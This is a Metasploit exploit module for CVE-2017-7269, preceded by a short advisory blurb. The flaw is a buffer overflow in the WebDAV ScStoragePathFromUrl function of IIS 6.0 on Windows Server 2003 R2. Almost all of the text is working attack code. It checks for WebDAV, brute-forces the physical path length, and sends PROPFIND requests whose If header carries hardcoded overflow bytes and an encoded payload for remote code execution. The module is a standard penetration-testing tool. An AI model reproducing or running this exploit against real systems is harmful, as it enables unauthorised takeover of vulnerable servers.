Microsoft IIS WebDav ScStoragePathFromUrl Overflow

Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016. Original exploit by Zhiniang Peng and Chen Wu.


MD5 | 95f8dd847406e195cfd9f81ff602c626

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
'Description' => %q{
Buffer overflow in the ScStoragePathFromUrl function
in the WebDAV service in Internet Information Services (IIS) 6.0
in Microsoft Windows Server 2003 R2 allows remote attackers to
execute arbitrary code via a long header beginning with
"If: <http://" in a PROPFIND request, as exploited in the
wild in July or August 2016.

Original exploit by Zhiniang Peng and Chen Wu.
},
'Author' =>
[
'Zhiniang Peng', # Original author
'Chen Wu', # Original author
'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
'firefart', # metasploit module
'zcgonvh <zcgonvh@qq.com>', # metasploit module
'Rich Whitcroft' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7269' ],
[ 'BID', '97127' ],
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
'DisableNops' => 'True',
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true,
},
'Targets' =>
[
[
'Microsoft Windows Server 2003 R2 SP2',
{
'Platform' => 'win',
},
],
],
'Platform' => 'win',
'DisclosureDate' => 'Mar 26 2017',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
])
end

def min_path_len
datastore['MINPATHLENGTH']
end

def max_path_len
datastore['MAXPATHLENGTH']
end

def supports_webdav?(headers)
if headers['MS-Author-Via'] == 'DAV' ||
headers['DASL'] == '<DAV:sql>' ||
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
headers['Public'] =~ /PROPFIND/ ||
headers['Allow'] =~ /PROPFIND/
return true
else
return false
end
end

def check
res = send_request_cgi({
'uri' => target_uri.path,
'method' => 'OPTIONS'
})
if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers)
return Exploit::CheckCode::Vulnerable
elsif res && supports_webdav?(res.headers)
return Exploit::CheckCode::Detected
elsif res.nil?
return Exploit::CheckCode::Unknown
else
return Exploit::CheckCode::Safe
end
end

def exploit
# extract the local servername and port from a PROPFIND request
# these need to be the values from the backend server
# if testing a reverse proxy setup, these values differ
# from RHOST and RPORT but can be extracted this way
vprint_status("Extracting ServerName and Port")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0
},
'uri' => target_uri.path
)
fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207)

xml = res.get_xml_document
url = URI.parse(xml.at("//a:response//a:href").text)
server_name = url.hostname
server_port = url.port
server_scheme = url.scheme

http_host = "#{server_scheme}://#{server_name}:#{server_port}"
vprint_status("Using http_host #{http_host}")

min_path_len.upto(max_path_len) do |path_len|
vprint_status("Trying path length of #{path_len}...")

begin
buf1 = "<#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
buf1 << ">"
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
buf1 << payload.encoded
buf1 << ">"

vprint_status("Sending payload")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0,
'If' => "#{buf1}"
},
'uri' => target_uri.path
)
if res
vprint_status("Server returned status #{res.code}")
if res.code == 502 || res.code == 400
next
elsif session_created?
return
else
vprint_status("Unknown Response: #{res.code}")
end
end
rescue ::Errno::ECONNRESET
vprint_status("got a connection reset")
next
end
end
end
end


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